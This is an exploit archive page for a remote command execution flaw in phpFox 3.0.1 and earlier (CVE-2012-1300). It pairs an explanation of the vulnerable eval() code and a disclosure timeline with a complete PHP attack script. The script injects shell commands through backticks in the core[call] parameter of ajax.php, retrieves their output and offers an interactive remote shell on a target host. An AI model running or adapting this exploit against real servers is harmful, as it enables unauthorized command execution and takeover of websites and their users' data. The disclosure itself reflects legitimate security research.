exploit the possibilities

phpFox 3.0.1 Remote Command Execution

phpFox 3.0.1 Remote Command Execution
Posted Mar 23, 2012
Authored by EgiX

phpFox versions 3.0.1 and below remote command execution exploit that leverages ajax.php.

tags | exploit, remote, php
MD5 | 2c40d140d5c3ccd79eafaae5dc234ca8

phpFox 3.0.1 Remote Command Execution

Change Mirror Download
<?php

/*
-----------------------------------------------------------
phpFox <= 3.0.1 (ajax.php) Remote Command Execution Exploit
-----------------------------------------------------------

author.............: Egidio Romano aka EgiX
mail...............: n0b0d13s[at]gmail[dot]com
software link......: http://www.phpfox.com/

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] vulnerable code in Phpfox_Module::getComponent() method defined into /include/library/phpfox/module/module.class.php

716. $aParts = explode('.', $sClass);
717. $sModule = $aParts[0];
718. $sComponent = $sType . PHPFOX_DS . substr_replace(str_replace('.', PHPFOX_DS, $sClass), '', 0, strlen($sModule . PHPFOX_DS));
...
748. if (preg_match('/(.*?)\((.*?)\)/', $sComponent, $aMatches) && !empty($aMatches[2]))
749. {
750. eval('$aParams = array_merge($aParams, array(' . $aMatches[2] . '));');
751.
752. $sComponent = $aMatches[1];
753. $sClass = $aMatches[1];
754. }

This method uses its $sClass parameter to construct the $sComponent variable that might be used to inject and execute semi-arbitrary
PHP code in a eval() call at line 750. Due to $sClass parameter is "explode()d" by dots at line 716 andto satisfy the regex at line
748, isn't possible to inject code which contains dots or parentheses, but is still possible to inject semi-arbitrary OS commands
leveraging of PHP's backtick operator. Input passed through $_POST[core][call] (or $_POST[phpfox][call] in v2) to /static/ajax.php
is passed to getComponent() method as $sClass parameter.

[-] Disclosure timeline:

[07/02/2012] - Vulnerability discovered
[09/02/2012] - Vendor notified through http://www.phpfox.com/contact/
[24/02/2012] - CVE number requested
[27/02/2012] - Assigned CVE-2012-1300
[27/02/2012] - Vendor update released: http://www.phpfox.com/blog/v2-1-0-build-3-v3-0-1-build-3-released/
[23/03/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}

print "\n+----------------------------------------------------------+";
print "\n| phpFox <= 3.0.1 Remote Command Execution Exploit by EgiX |";
print "\n+----------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /phpfox/\n";
die();
}

list($host, $path) = array($argv[1], $argv[2]);

$r_pack = "GET {$path}static/tmp HTTP/1.0\r\n";
$r_pack .= "Host: {$host}\r\n";
$r_pack .= "Connection: close\r\n\r\n";

$packet = "POST {$path}static/ajax.php?do=/ad/complete/ HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: %d\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "X_REQUESTED_WITH: XMLHttpRequest\r\n";
$packet .= "Connection: close\r\n\r\n%s";

while(1)
{
print "\nphofox-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
else if (preg_match('/\./', $cmd)) print "\nDots not allowed!\n";
else if (preg_match('/\)/', $cmd)) print "\nParenthesis not allowed!\n";
else
{
$payload = "core[call]=.(`{$cmd}>tmp`).";
http_send($host, sprintf($packet, strlen($payload), $payload));
$output = http_send($host, $r_pack);
!preg_match('/404 not/i', $output) && preg_match('/\n\r\n(.*)/s', $output, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
}


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